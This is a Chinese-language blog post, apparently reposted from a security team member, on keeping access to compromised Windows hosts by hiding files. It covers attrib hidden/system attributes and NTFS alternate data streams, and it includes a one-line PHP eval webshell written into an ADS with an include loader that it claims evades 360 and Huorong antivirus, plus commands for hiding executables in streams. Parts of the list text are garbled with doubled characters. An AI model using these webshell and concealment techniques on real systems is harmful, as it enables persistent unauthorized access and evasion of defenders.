hack信仰
- 关注

权限维持之-文件隐藏bypass
本文转载至qax ateam一同事的文章,做为笔记
前言:
当我们在渗透过程中通过漏洞获取到目标主机权限后,往往会因为服务器管理员发现和修补漏洞而导致对服务器权限的丢失,所以权限维持就显得很重要了。
权限维持重要性
1.渗透测试 利利⽤用相关漏漏洞洞拿下⽬目标站点
2.获取信息 利利⽤用webshell获取到需要的信息
3.权限维持 对⽬目标进⾏行行权限维持
4持续输出 可以持久输出数据
以下提供四种隐藏文件的方式
一.为文件或目录设置隐藏属性
1.Attrib
1.1语法
ATTRIB [+R | -R] [+A | -A] [+S | -S] [+H | -H] [+O | -O] [+I | -I] [+X | -X] [+P | -P] [+U | -U][drive:][path][filename] [/S [/D]] [/L]
1.2参数
+ 设置属性。
- 清除属性。
R 只读文件属性。
A 存档文件属性。
S 系统文件属性。
H 隐藏文件属性。
O 脱机属性。
I 无内容索引文件属性。
X 无清理文件属性。
V 完整性属性。
P 固定属性。
U 非固定属性。
[drive:][path][filename]
指定属性要处理的文件。
/S 处理当前文件夹及其所有子文件夹中
的匹配文件。
/D 也处理文件夹。
/L 处理符号链接和
符号链接目标的属性
1.3 示例
1.3.1先创建1.txt文件,设置文件隐藏属性
1.3.2 在dir下能看见1.txt文件
1.3.3 使用Attrib方式进行文件隐藏
attrib +H +S 1.txt
1.3.4 使用之后回到文件夹中去查看,发现文件的1.txt不存在
1.3.5 type 1.txt
1.3.5 在查看打开隐藏文件,仍然无法显示
二.使用NTFS文件属性来隐藏数据,逃避检测
1.NTFS文件流简介
要了解NTFS流文件之前,你应该对NTFS文件系统有一定的了解, NTFS是微软Windows NT内核的系列操作系统支持的、一个特别为网络和磁盘配额、文件加密等管理安全特性设计的磁盘格式。NTFS比FAT文件系统更稳定,更安全,功能也更为强大。
这个NTFS数据流文件,也叫Alternate data streams,简称ADS,是NTFS文件系统的一个特性之一,允许单独的数据流文件存在,同时也允许一个文件附着多个数据流,即除了主文件流之外还允许许多非主文件流寄生在主文件流之中,它使用资源派生的方式来维持与文件相关信息,并且这些寄生的数据流文件我们使用资源管理器是看不到的。
2.NTFS文件流生成步骤
在任意一个NTFS分区下打开CMD命令提示符,输入
echo hello world >> 2.txt:test.txt
那么此时会在当前目录下生成一个名为2.txt的文件,文件的大小为0字节
2.txt中也没有内容
只有在输入命令notepad 2.txt:test.txt,文件内容才会被读出来
注意:
在上面的命令中,2.txt可以不存在,也可以是某个已经存在的文件文件的格式无所谓.txt .jpg .exe .asp都可以 冒号后面的test.txt也可以任意指定文件名以及后缀名(可以将任意文本信息隐藏于任意文件中)在不泄露冒号后文件名的情况下,很难被发现
包含隐藏信息的文件仍然可以继续隐藏其他内容
echo hello world1 >> 2.txt:test1.txt
但是其中也存在缺陷:就是当宿主文件被删除后,寄生文件也被删除
2.1进一步隐藏
echo hello >> hello1:hidden.txt
删除宿主文件
echo hello >> /:hidden.txt
文件并不存在/:hidden.txt文件
在调用命令:notepad /:hidden.txt 才能看见该文件
在webshell使用时候:
1.生成webshell文件:
echo "<?php @eval($_REQUEST[123]);?>" >> /:test.txt
另外起一份文件对其进行包含:
echo "<?php include('/:test.txt')?>" >> 1.php
此方式可过360和火绒达到bypass的效果
三,使用备用数据流将Payload隐藏在其他类型的文件
ADS备用数据流是windows引入的新技术文件系统(NTFS)的产物。传统上引入它是为了提供和Macintosh系统的旧分层文件系统(HFS)的文件共享的兼容性,其中数据可以分叉到不同的资源中,并存储称为元数据的文件的附加数据
1.ADS Powershell
创建ADS文件,添加内容并进行隐藏
打开powershell
echo "This is b.txt" > b.txt
Set-Content b.txt -stream text
查看目录中的所有文件
Get-Item -path .\b.txt -stream *
此中应该注意
如果将ADS文件从NTFS传输到FAT32中,将自动销毁替代数据流。(比如将文件传到u盘中)
一个ADS文件是在NTFS系统中创建的,但是一旦将其传入FAT32闪存驱动器中,就会看提示不允许使用ADS复制文件这是因为ADS功能是NTFS中引入的,而FAT32并不支持
四.在文本中隐藏exe,vbs,ps1
type calc.exe > a.txt:calc.exe
del calc.exe
start a.txt:calc.exe // 不允许直接使用
mklink d.exe c.txt:calc.exe
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)